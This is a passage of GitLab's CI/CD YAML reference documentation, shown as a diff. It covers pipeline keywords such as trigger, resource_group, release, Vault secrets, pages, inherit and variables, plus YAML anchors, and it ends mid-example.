+For example, you can't run commands with [`script`](#script), [`before_script`](#before_script),
+or [`after_script`](#after_script).
+
+You can use this keyword to create two different types of downstream pipelines:
+
+- [Multi-project pipelines](../pipelines/multi_project_pipelines.md#define-multi-project-pipelines-in-your-gitlab-ciyml-file)
+- [Child pipelines](../pipelines/parent_child_pipelines.md)
+
+[In GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/197140/) and later, you can
+view which job triggered a downstream pipeline. In the [pipeline graph](../pipelines/index.md#visualize-pipelines),
+hover over the downstream pipeline job.
+
+In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you
+can use [`when:manual`](#whenmanual) in the same job as `trigger`. In GitLab 13.4 and
+earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
+You [cannot start `manual` trigger jobs with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/284086).
+
+#### Basic `trigger` syntax for multi-project pipelines
+
+You can configure a downstream trigger by using the `trigger` keyword
+with a full path to a downstream project:
+
+```yaml
+rspec:
+ stage: test
+ script: bundle exec rspec
+
+staging:
+ stage: deploy
+ trigger: my/deployment
+```
+
+#### Complex `trigger` syntax for multi-project pipelines
+
+You can configure a branch name that GitLab uses to create
+a downstream pipeline with:
+
+```yaml
+rspec:
+ stage: test
+ script: bundle exec rspec
+
+staging:
+ stage: deploy
+ trigger:
+ project: my/deployment
+ branch: stable
+```
+
+To mirror the status from a triggered pipeline:
+
+```yaml
+trigger_job:
+ trigger:
+ project: my/project
+ strategy: depend
+```
+
+To mirror the status from an upstream pipeline:
+
+```yaml
+upstream_bridge:
+ stage: test
+ needs:
+ pipeline: other/project
+```
+
+#### `trigger` syntax for child pipeline
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7.
+
+To create a [child pipeline](../pipelines/parent_child_pipelines.md), specify the path to the
+YAML file that contains the configuration of the child pipeline:
+
+```yaml
+trigger_job:
+ trigger:
+ include: path/to/child-pipeline.yml
+```
+
+Similar to [multi-project pipelines](../pipelines/multi_project_pipelines.md#mirror-status-of-a-triggered-pipeline-in-the-trigger-job),
+it's possible to mirror the status from a triggered pipeline:
+
+```yaml
+trigger_job:
+ trigger:
+ include:
+ - local: path/to/child-pipeline.yml
+ strategy: depend
+```
+
+##### Trigger child pipeline with generated configuration file
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35632) in GitLab 12.9.
+
+You can also trigger a child pipeline from a [dynamically generated configuration file](../pipelines/parent_child_pipelines.md#dynamic-child-pipelines):
+
+```yaml
+generate-config:
+ stage: build
+ script: generate-ci-config > generated-config.yml
+ artifacts:
+ paths:
+ - generated-config.yml
+
+child-pipeline:
+ stage: test
+ trigger:
+ include:
+ - artifact: generated-config.yml
+ job: generate-config
+```
+
+The `generated-config.yml` is extracted from the artifacts and used as the configuration
+for triggering the child pipeline.
+
+##### Trigger child pipeline with files from another project
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/205157) in GitLab 13.5.
+
+To trigger child pipelines with files from another private project under the same
+GitLab instance, use [`include:file`](#includefile):
+
+```yaml
+child-pipeline:
+ trigger:
+ include:
+ - project: 'my-group/my-pipeline-library'
+ ref: 'main'
+ file: '/path/to/child-pipeline.yml'
+```
+
+#### Linking pipelines with `trigger:strategy`
+
+By default, the `trigger` job completes with the `success` status
+as soon as the downstream pipeline is created.
+
+To force the `trigger` job to wait for the downstream (multi-project or child) pipeline to complete, use
+`strategy: depend`. This setting makes the trigger job wait with a "running" status until the triggered
+pipeline completes. At that point, the `trigger` job completes and displays the same status as
+the downstream job.
+
+This setting can help keep your pipeline execution linear. In the following example, jobs from
+subsequent stages wait for the triggered pipeline to successfully complete before
+starting, which reduces parallelization.
+
+```yaml
+trigger_job:
+ trigger:
+ include: path/to/child-pipeline.yml
+ strategy: depend
+```
+
+#### Trigger a pipeline by API call
+
+To force a rebuild of a specific branch, tag, or commit, you can use an API call
+with a trigger token.
+
+The trigger token is different than the [`trigger`](#trigger) keyword.
+
+[Read more in the triggers documentation.](../triggers/index.md)
+
+### `interruptible`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3.
+
+Use `interruptible` to indicate that a running job should be canceled if made redundant by a newer pipeline run.
+Defaults to `false` (uninterruptible). Jobs that have not started yet (pending) are considered interruptible
+and safe to be cancelled.
+This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-redundant-pipelines)
+is enabled.
+
+When enabled, a pipeline is immediately canceled when a new pipeline starts on the same branch if either of the following is true:
+
+- All jobs in the pipeline are set as interruptible.
+- Any uninterruptible jobs have not started yet.
+
+Set jobs as interruptible that can be safely canceled once started (for instance, a build job).
+
+In the following example, a new pipeline run causes an existing running pipeline to be:
+
+- Canceled, if only `step-1` is running or pending.
+- Not canceled, once `step-2` starts running.
+
+After an uninterruptible job starts running, the pipeline cannot be canceled.
+
+```yaml
+stages:
+ - stage1
+ - stage2
+ - stage3
+
+step-1:
+ stage: stage1
+ script:
+ - echo "Can be canceled."
+ interruptible: true
+
+step-2:
+ stage: stage2
+ script:
+ - echo "Can not be canceled."
+
+step-3:
+ stage: stage3
+ script:
+ - echo "Because step-2 can not be canceled, this step can never be canceled, even though it's set as interruptible."
+ interruptible: true
+```
+
+### `resource_group`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15536) in GitLab 12.7.
+
+Sometimes running multiple jobs or pipelines at the same time in an environment
+can lead to errors during the deployment.
+
+To avoid these errors, use the `resource_group` attribute to make sure that
+the runner doesn't run certain jobs simultaneously. Resource groups behave similar
+to semaphores in other programming languages.
+
+When the `resource_group` keyword is defined for a job in the `.gitlab-ci.yml` file,
+job executions are mutually exclusive across different pipelines for the same project.
+If multiple jobs belonging to the same resource group are enqueued simultaneously,
+only one of the jobs is picked by the runner. The other jobs wait until the
+`resource_group` is free.
+
+For example:
+
+```yaml
+deploy-to-production:
+ script: deploy
+ resource_group: production
+```
+
+In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result,
+you can ensure that concurrent deployments never happen to the production environment.
+
+You can define multiple resource groups per environment. For example,
+when deploying to physical devices, you may have multiple physical devices. Each device
+can be deployed to, but there can be only one deployment per device at any given time.
+
+The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces.
+It can't start or end with `/`.
+
+For more information, see [Deployments Safety](../environments/deployment_safety.md).
+
+#### Pipeline-level concurrency control with Cross-Project/Parent-Child pipelines
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39057) in GitLab 13.9.
+
+You can define `resource_group` for downstream pipelines that are sensitive to concurrent
+executions. The [`trigger` keyword](#trigger) can trigger downstream pipelines. The
+[`resource_group` keyword](#resource_group) can co-exist with it. This is useful to control the
+concurrency for deployment pipelines, while running non-sensitive jobs concurrently.
+
+The following example has two pipeline configurations in a project. When a pipeline starts running,
+non-sensitive jobs are executed first and aren't affected by concurrent executions in other
+pipelines. However, GitLab ensures that there are no other deployment pipelines running before
+triggering a deployment (child) pipeline. If other deployment pipelines are running, GitLab waits
+until those pipelines finish before running another one.
+
+```yaml
+# .gitlab-ci.yml (parent pipeline)
+
+build:
+ stage: build
+ script: echo "Building..."
+
+test:
+ stage: test
+ script: echo "Testing..."
+
+deploy:
+ stage: deploy
+ trigger:
+ include: deploy.gitlab-ci.yml
+ strategy: depend
+ resource_group: AWS-production
+```
+
+```yaml
+# deploy.gitlab-ci.yml (child pipeline)
+
+stages:
+ - provision
+ - deploy
+
+provision:
+ stage: provision
+ script: echo "Provisioning..."
+
+deployment:
+ stage: deploy
+ script: echo "Deploying..."
+```
+
+You must define [`strategy: depend`](#linking-pipelines-with-triggerstrategy)
+with the `trigger` keyword. This ensures that the lock isn't released until the downstream pipeline
+finishes.
+
+### `release`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 13.2.
+
+Use `release` to create a [release](../../user/project/releases/index.md).
+Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs)
+to be available in your GitLab Runner Docker or shell executor.
+
+These keywords are supported:
+
+- [`tag_name`](#releasetag_name)
+- [`description`](#releasedescription)
+- [`name`](#releasename) (optional)
+- [`ref`](#releaseref) (optional)
+- [`milestones`](#releasemilestones) (optional)
+- [`released_at`](#releasereleased_at) (optional)
+- [`assets:links`](#releaseassetslinks) (optional)
+
+The release is created only if the job processes without error. If the Rails API
+returns an error during release creation, the `release` job fails.
+
+#### `release-cli` Docker image
+
+You must specify the Docker image to use for the `release-cli`:
+
+```yaml
+image: registry.gitlab.com/gitlab-org/release-cli:latest
+```
+
+#### `release-cli` for shell executors
+
+> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/issues/21) in GitLab 13.8.
+
+For GitLab Runner shell executors, you can download and install the `release-cli` manually for your [supported OS and architecture](https://release-cli-downloads.s3.amazonaws.com/latest/index.html).
+Once installed, the `release` keyword should be available to you.
+
+**Install on Unix/Linux**
+
+1. Download the binary for your system, in the following example for amd64 systems:
+
+ ```shell
+ curl --location --output /usr/local/bin/release-cli "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-linux-amd64"
+ ```
+
+1. Give it permissions to execute:
+
+ ```shell
+ sudo chmod +x /usr/local/bin/release-cli
+ ```
+
+1. Verify `release-cli` is available:
+
+ ```shell
+ $ release-cli -v
+
+ release-cli version 0.6.0
+ ```
+
+**Install on Windows PowerShell**
+
+1. Create a folder somewhere in your system, for example `C:\GitLab\Release-CLI\bin`
+
+ ```shell
+ New-Item -Path 'C:\GitLab\Release-CLI\bin' -ItemType Directory
+ ```
+
+1. Download the executable file:
+
+ ```shell
+ PS C:\> Invoke-WebRequest -Uri "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-windows-amd64.exe" -OutFile "C:\GitLab\Release-CLI\bin\release-cli.exe"
+
+ Directory: C:\GitLab\Release-CLI
+ Mode LastWriteTime Length Name
+ ---- ------------- ------ ----
+ d----- 3/16/2021 4:17 AM bin
+
+ ```
+
+1. Add the directory to your `$env:PATH`:
+
+ ```shell
+ $env:PATH += ";C:\GitLab\Release-CLI\bin"
+ ```
+
+1. Verify `release-cli` is available:
+
+ ```shell
+ PS C:\> release-cli -v
+
+ release-cli version 0.6.0
+ ```
+
+#### Use a custom SSL CA certificate authority
+
+You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority,
+which is used to verify the peer when the `release-cli` creates a release through the API using HTTPS with custom certificates.
+The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the
+[text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1)
+or the `path/to/file` containing the certificate authority.
+For example, to configure this value in the `.gitlab-ci.yml` file, use the following:
+
+```yaml
+release:
+ variables:
+ ADDITIONAL_CA_CERT_BUNDLE: |
+ -----BEGIN CERTIFICATE-----
+ MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB
+ ...
+ jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs=
+ -----END CERTIFICATE-----
+ script:
+ - echo "Create release"
+ release:
+ name: 'My awesome release'
+ tag_name: '$CI_COMMIT_TAG'
+```
+
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a
+[custom variable in the UI](../variables/index.md#custom-cicd-variables),
+either as a `file`, which requires the path to the certificate, or as a variable,
+which requires the text representation of the certificate.
+
+#### `script`
+
+All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release`
+job can use the output from script commands, but you can use a placeholder script if
+the script is not needed:
+
+```yaml
+script:
+ - echo 'release job'
+```
+
+An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/223856) exists to remove this requirement in an upcoming version of GitLab.
+
+A pipeline can have multiple `release` jobs, for example:
+
+```yaml
+ios-release:
+ script:
+ - echo 'iOS release job'
+ release:
+ tag_name: v1.0.0-ios
+ description: 'iOS release v1.0.0'
+
+android-release:
+ script:
+ - echo 'Android release job'
+ release:
+ tag_name: v1.0.0-android
+ description: 'Android release v1.0.0'
+```
+
+#### `release:tag_name`
+
+You must specify a `tag_name` for the release. The tag can refer to an existing Git tag or
+you can specify a new tag.
+
+When the specified tag doesn't exist in the repository, a new tag is created from the associated SHA of the pipeline.
+
+For example, when creating a release from a Git tag:
+
+```yaml
+job:
+ release:
+ tag_name: $CI_COMMIT_TAG
+ description: 'Release description'
+```
+
+It is also possible for the release job to automatically create a new unique tag. In that case,
+do not use [`rules`](#rules) or [`only`](#only--except) to configure the job to
+only run for tags.
+
+A semantic versioning example:
+
+```yaml
+job:
+ release:
+ tag_name: ${MAJOR}_${MINOR}_${REVISION}
+ description: 'Release description'
+```
+
+- The release is created only if the job's main script succeeds.
+- If the release already exists, it is not updated and the job with the `release` keyword fails.
+- The `release` section executes after the `script` tag and before the `after_script`.
+
+#### `release:name`
+
+The release name. If omitted, it is populated with the value of `release: tag_name`.
+
+#### `release:description`
+
+Specifies the long description of the release. You can also specify a file that contains the
+description.
+
+##### Read description from a file
+
+> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/67) in GitLab 13.7.
+
+You can specify a file in `$CI_PROJECT_DIR` that contains the description. The file must be relative
+to the project directory (`$CI_PROJECT_DIR`), and if the file is a symbolic link it can't reside
+outside of `$CI_PROJECT_DIR`. The `./path/to/file` and filename can't contain spaces.
+
+```yaml
+job:
+ release:
+ tag_name: ${MAJOR}_${MINOR}_${REVISION}
+ description: './path/to/CHANGELOG.md'
+```
+
+#### `release:ref`
+
+If the `release: tag_name` doesn't exist yet, the release is created from `ref`.
+`ref` can be a commit SHA, another tag name, or a branch name.
+
+#### `release:milestones`
+
+The title of each milestone the release is associated with.
+
+#### `release:released_at`
+
+The date and time when the release is ready. Defaults to the current date and time if not
+defined. Should be enclosed in quotes and expressed in ISO 8601 format.
+
+```json
+released_at: '2021-03-15T08:00:00Z'
+```
+
+#### `release:assets:links`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271454) in GitLab 13.12.
+
+Include [asset links](../../user/project/releases/index.md#release-assets) in the release.
+
+NOTE:
+Requires `release-cli` version v0.4.0 or higher.
+
+```yaml
+assets:
+ links:
+ - name: 'asset1'
+ url: 'https://example.com/assets/1'
+ - name: 'asset2'
+ url: 'https://example.com/assets/2'
+ filepath: '/pretty/url/1' # optional
+ link_type: 'other' # optional
+```
+
+#### Complete example for `release`
+
+If you combine the previous examples for `release`, you get two options, depending on how you generate the
+tags. You can't use these options together, so choose one:
+
+- To create a release when you push a Git tag, or when you add a Git tag
+ in the UI by going to **Repository > Tags**:
+
+ ```yaml
+ release_job:
+ stage: release
+ image: registry.gitlab.com/gitlab-org/release-cli:latest
+ rules:
+ - if: $CI_COMMIT_TAG # Run this job when a tag is created manually
+ script:
+ - echo 'running release_job'
+ release:
+ name: 'Release $CI_COMMIT_TAG'
+ description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined
+ tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline.
+ ref: '$CI_COMMIT_TAG'
+ milestones:
+ - 'm1'
+ - 'm2'
+ - 'm3'
+ released_at: '2020-07-15T08:00:00Z' # Optional, is auto generated if not defined, or can use a variable.
+ assets: # Optional, multiple asset links
+ links:
+ - name: 'asset1'
+ url: 'https://example.com/assets/1'
+ - name: 'asset2'
+ url: 'https://example.com/assets/2'
+ filepath: '/pretty/url/1' # optional
+ link_type: 'other' # optional
+ ```
+
+- To create a release automatically when commits are pushed or merged to the default branch,
+ using a new Git tag that is defined with variables:
+
+ NOTE:
+ Environment variables set in `before_script` or `script` are not available for expanding
+ in the same job. Read more about
+ [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400).
+
+ ```yaml
+ prepare_job:
+ stage: prepare # This stage must run before the release stage
+ rules:
+ - if: $CI_COMMIT_TAG
+ when: never # Do not run this job when a tag is created manually
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch
+ script:
+ - echo "EXTRA_DESCRIPTION=some message" >> variables.env # Generate the EXTRA_DESCRIPTION and TAG environment variables
+ - echo "TAG=v$(cat VERSION)" >> variables.env # and append to the variables.env file
+ artifacts:
+ reports:
+ dotenv: variables.env # Use artifacts:reports:dotenv to expose the variables to other jobs
+
+ release_job:
+ stage: release
+ image: registry.gitlab.com/gitlab-org/release-cli:latest
+ needs:
+ - job: prepare_job
+ artifacts: true
+ rules:
+ - if: $CI_COMMIT_TAG
+ when: never # Do not run this job when a tag is created manually
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch
+ script:
+ - echo 'running release_job for $TAG'
+ release:
+ name: 'Release $TAG'
+ description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG
+ tag_name: '$TAG' # variables must be defined elsewhere
+ ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the
+ milestones: # prepare_job
+ - 'm1'
+ - 'm2'
+ - 'm3'
+ released_at: '2020-07-15T08:00:00Z' # Optional, is auto generated if not defined, or can use a variable.
+ assets:
+ links:
+ - name: 'asset1'
+ url: 'https://example.com/assets/1'
+ - name: 'asset2'
+ url: 'https://example.com/assets/2'
+ filepath: '/pretty/url/1' # optional
+ link_type: 'other' # optional
+ ```
+
+#### Release assets as Generic packages
+
+You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets.
+For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/)
+project.
+
+#### `release-cli` command line
+
+The entries under the `release` node are transformed into a `bash` command line and sent
+to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli).
+You can also call the `release-cli` directly from a `script` entry.
+
+For example, if you use the YAML described previously:
+
+```shell
+release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" --assets-link "{\"name\":\"asset1\",\"url\":\"https://example.com/assets/1\",\"link_type\":\"other\"}
+```
+
+### `secrets`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4.
+
+Use `secrets` to specify the [CI/CD Secrets](../secrets/index.md) the job needs. It should be a hash,
+and the keys should be the names of the variables that are made available to the job.
+The value of each secret is saved in a temporary file. This file's path is stored in these
+variables.
+
+#### `secrets:vault` **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in GitLab 13.4 and GitLab Runner 13.4.
+
+Use `vault` to specify secrets provided by [Hashicorp's Vault](https://www.vaultproject.io/).
+
+This syntax has multiple forms. The shortest form assumes the use of the
+[KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) secrets engine,
+mounted at the default path `kv-v2`. The last part of the secret's path is the
+field to fetch the value for:
+
+```yaml
+job:
+ secrets:
+ DATABASE_PASSWORD:
+ vault: production/db/password # translates to secret `kv-v2/data/production/db`, field `password`
+```
+
+You can specify a custom secrets engine path by adding a suffix starting with `@`:
+
+```yaml
+job:
+ secrets:
+ DATABASE_PASSWORD:
+ vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password`
+```
+
+In the detailed form of the syntax, you can specify all details explicitly:
+
+```yaml
+job:
+ secrets:
+ DATABASE_PASSWORD: # translates to secret `ops/data/production/db`, field `password`
+ vault:
+ engine:
+ name: kv-v2
+ path: ops
+ path: production/db
+ field: password
+```
+
+#### `secrets:file` **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250695) in GitLab 14.1 and GitLab Runner 14.1.
+
+By default, the secret is passed to the job context as a variable of type
+[`file`](../variables/index.md#cicd-variable-types). The value of the
+secret is stored in a file and the variable `DATABASE_PASSWORD` contains a path to the file.
+
+However, some software does not work with file variables and might require the secret value to be stored
+directly in the environment variable. For that case, define a `file` setting:
+
+```yaml
+job:
+ secrets:
+ DATABASE_PASSWORD:
+ vault: production/db/password@ops
+ file: false
+```
+
+When you set `file: false`, no files are created for that variable. It contains the secret
+itself instead.
+
+The `file` is a setting of the secret, so it belongs directly under the variable
+name level and not in the `vault` section.
+
+### `pages`
+
+Use `pages` to upload static content to GitLab. The content
+is then published as a website. You must:
+
+- Place any static content in a `public/` directory.
+- Define [`artifacts`](#artifacts) with a path to the `public/` directory.
+
+The following example moves all files from the root of the project to the
+`public/` directory. The `.public` workaround is so `cp` does not also copy
+`public/` to itself in an infinite loop:
+
+```yaml
+pages:
+ stage: deploy
+ script:
+ - mkdir .public
+ - cp -r * .public
+ - mv .public public
+ artifacts:
+ paths:
+ - public
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+```
+
+View the [GitLab Pages user documentation](../../user/project/pages/index.md).
+
+### `inherit`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207484) in GitLab 12.9.
+
+Use `inherit:` to control inheritance of globally-defined defaults
+and variables.
+
+To enable or disable the inheritance of all `default:` or `variables:` keywords, use:
+
+- `default: true` or `default: false`
+- `variables: true` or `variables: false`
+
+To inherit only a subset of `default:` keywords or `variables:`, specify what
+you wish to inherit. Anything not listed is **not** inherited. Use
+one of the following formats:
+
+```yaml
+inherit:
+ default: [keyword1, keyword2]
+ variables: [VARIABLE1, VARIABLE2]
+```
+
+Or:
+
+```yaml
+inherit:
+ default:
+ - keyword1
+ - keyword2
+ variables:
+ - VARIABLE1
+ - VARIABLE2
+```
+
+In the following example:
+
+- `rubocop`:
+ - inherits: Nothing.
+- `rspec`:
+ - inherits: the default `image` and the `WEBHOOK_URL` variable.
+ - does **not** inherit: the default `before_script` and the `DOMAIN` variable.
+- `capybara`:
+ - inherits: the default `before_script` and `image`.
+ - does **not** inherit: the `DOMAIN` and `WEBHOOK_URL` variables.
+- `karma`:
+ - inherits: the default `image` and `before_script`, and the `DOMAIN` variable.
+ - does **not** inherit: `WEBHOOK_URL` variable.
+
+```yaml
+default:
+ image: 'ruby:2.4'
+ before_script:
+ - echo Hello World
+
+variables:
+ DOMAIN: example.com
+ WEBHOOK_URL: https://my-webhook.example.com
+
+rubocop:
+ inherit:
+ default: false
+ variables: false
+ script: bundle exec rubocop
+
+rspec:
+ inherit:
+ default: [image]
+ variables: [WEBHOOK_URL]
+ script: bundle exec rspec
+
+capybara:
+ inherit:
+ variables: false
+ script: bundle exec capybara
+
+karma:
+ inherit:
+ default: true
+ variables: [DOMAIN]
+ script: karma
+```
+
+## `variables`
+
+> Introduced in GitLab Runner v0.5.0.
+
+[CI/CD variables](../variables/index.md) are configurable values that are passed to jobs.
+They can be set globally and per-job.
+
+There are two types of variables.
+
+- [Custom variables](../variables/index.md#custom-cicd-variables):
+ You can define their values in the `.gitlab-ci.yml` file, in the GitLab UI,
+ or by using the API. You can also input variables in the GitLab UI when
+ [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
+- [Predefined variables](../variables/predefined_variables.md):
+ These values are set by the runner itself.
+ One example is `CI_COMMIT_REF_NAME`, which is the branch or tag the project is built for.
+
+After you define a variable, you can use it in all executed commands and scripts.
+
+Variables are meant for non-sensitive project configuration, for example:
+
+```yaml
+variables:
+ DEPLOY_SITE: "https://example.com/"
+
+deploy_job:
+ stage: deploy
+ script:
+ - deploy-script --url $DEPLOY_SITE --path "/"
+
+deploy_review_job:
+ stage: deploy
+ variables:
+ REVIEW_PATH: "/review"
+ script:
+ - deploy-review-script --url $DEPLOY_SITE --path $REVIEW_PATH
+```
+
+You can use only integers and strings for the variable's name and value.
+
+If you define a variable at the top level of the `gitlab-ci.yml` file, it is global,
+meaning it applies to all jobs. If you define a variable in a job, it's available
+to that job only.
+
+If a variable of the same name is defined globally and for a specific job, the
+[job-specific variable overrides the global variable](../variables/index.md#cicd-variable-precedence).
+
+All YAML-defined variables are also set to any linked
+[Docker service containers](../services/index.md).
+
+You can use [YAML anchors for variables](#yaml-anchors-for-variables).
+
+### Prefill variables in manual pipelines
+
+> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7.
+
+Use the `value` and `description` keywords to define [pipeline-level (global) variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
+when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):
+
+```yaml
+variables:
+ DEPLOY_ENVIRONMENT:
+ value: "staging" # Deploy to staging by default
+ description: "The deployment target. Change this variable to 'canary' or 'production' if needed."
+```
+
+You cannot set job-level variables to be pre-filled when you run a pipeline manually.
+
+### Configure runner behavior with variables
+
+You can use [CI/CD variables](../variables/index.md) to configure how the runner processes Git requests:
+
+- [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy)
+- [`GIT_SUBMODULE_STRATEGY`](../runners/configure_runners.md#git-submodule-strategy)
+- [`GIT_CHECKOUT`](../runners/configure_runners.md#git-checkout)
+- [`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags)
+- [`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags)
+- [`GIT_DEPTH`](../runners/configure_runners.md#shallow-cloning) (shallow cloning)
+- [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) (custom build directories)
+- [`TRANSFER_METER_FREQUENCY`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact/cache meter update frequency)
+- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact archiver compression level)
+- [`CACHE_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (cache archiver compression level)
+
+You can also use variables to configure how many times a runner
+[attempts certain stages of job execution](../runners/configure_runners.md#job-stages-attempts).
+
+## `dast_configuration` **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5981) in GitLab 14.1.
+
+Use the `dast_configuration` keyword to specify a site profile and scanner profile to be used in a
+CI/CD configuration. Both profiles must first have been created in the project. The job's stage must
+be `dast`.
+
+**Keyword type**: Job keyword. You can use only as part of a job.
+
+**Possible inputs**: One each of `site_profile` and `scanner_profile`.
+
+- Use `site_profile` to specify the site profile to be used in the job.
+- Use `scanner_profile` to specify the scanner profile to be used in the job.
+
+**Example of `dast_configuration`**:
+
+```yaml
+stages:
+ - build
+ - dast
+
+include:
+ - template: DAST.gitlab-ci.yml
+
+dast:
+ dast_configuration:
+ site_profile: "Example Co"
+ scanner_profile: "Quick Passive Test"
+```
+
+In this example, the `dast` job extends the `dast` configuration added with the `include:` keyword
+to select a specific site profile and scanner profile.
+
+**Additional details**:
+
+- Settings contained in either a site profile or scanner profile take precedence over those
+ contained in the DAST template.
+
+**Related topics**:
+
+- [Site profile](../../user/application_security/dast/index.md#site-profile).
+- [Scanner profile](../../user/application_security/dast/index.md#scanner-profile).
+
+## YAML-specific features
+
+In your `.gitlab-ci.yml` file, you can use YAML-specific features like anchors (`&`), aliases (`*`),
+and map merging (`<<`). Use these features to reduce the complexity
+of the code in the `.gitlab-ci.yml` file.
+
+Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/).
+
+In most cases, the [`extends` keyword](#extends) is more user friendly and you should
+use it when possible.
+
+You can use YAML anchors to merge YAML arrays.
+
+### Anchors
+
+YAML has a feature called 'anchors' that you can use to duplicate
+content across your document.
+
+Use anchors to duplicate or inherit properties. Use anchors with [hidden jobs](#hide-jobs)
+to provide templates for your jobs. When there are duplicate keys, GitLab
+performs a reverse deep merge based on the keys.
+
+You can't use YAML anchors across multiple files when using the [`include`](#include)
+keyword. Anchors are only valid in the file they were defined in. To reuse configuration
+from different YAML files, use [`!reference` tags](#reference-tags) or the
+[`extends` keyword](#extends).
+
+The following example uses anchors and map merging. It creates two jobs,
+`test1` and `test2`, that inherit the `.job_template` configuration, each
+with their own custom `script` defined:
+
+```yaml
+.job_template: &job_configuration # Hidden yaml configuration that defines an anchor named 'job_configuration'
+ image: ruby:2.6
+ services:
+ - postgres
+ - redis
+
+test1:
+ <<: *job_configuration # Merge the contents of the 'job_configuration' alias
+ script:
+ - test1 project
+
+test2:
+ <<: *job_configuration # Merge the contents of the 'job_configuration' alias
+ script:
+ - test2 project
+```
+
+`&` sets up the name of the anchor (`job_configuration`), `<<` means "merge the
+given hash into the current one," and `*` includes the named anchor
+(`job_configuration` again). The expanded version of this example is:
+
+```yaml
+.job_template:
+ image: ruby:2.6
+ services:
+ - postgres
+ - redis
+
+test1:
+ image: ruby:2.6
+ services:
+ - postgres
+ - redis
+ script:
+ - test1 project
+
+test2:
+ image: ruby:2.6
+ services:
+ - postgres
+ - redis
+ script:
+ - test2 project
+```
+
+You can use anchors to define two sets of services. For example, `test:postgres`
+and `test:mysql` share the `script` defined in `.job_template`, but use different
+`services`, defined in `.postgres_services` and `.mysql_services`:
+
+```yaml
+.job_template: &job_configuration
+ script:
+ - test project
+ tags:
+ - dev
+
+.postgres_services:
+ services: &postgres_configuration
+ - postgres
+ - ruby
+
+.mysql_services:
+ services: &mysql_configuration
+ - mysql
+ - ruby
+
+test:postgres:
+ <<: *job_configuration
+ services: *postgres_configuration
+ tags:
+ - postgres
+
+test:mysql:
+ <<: *job_configuration
+ services: *mysql_configuration
+```
+
+The expanded version is:
+
+```yaml
+.job_template:
+ script:
+ - test project
+ tags:
+ - dev
+
+.postgres_services:
+ services:
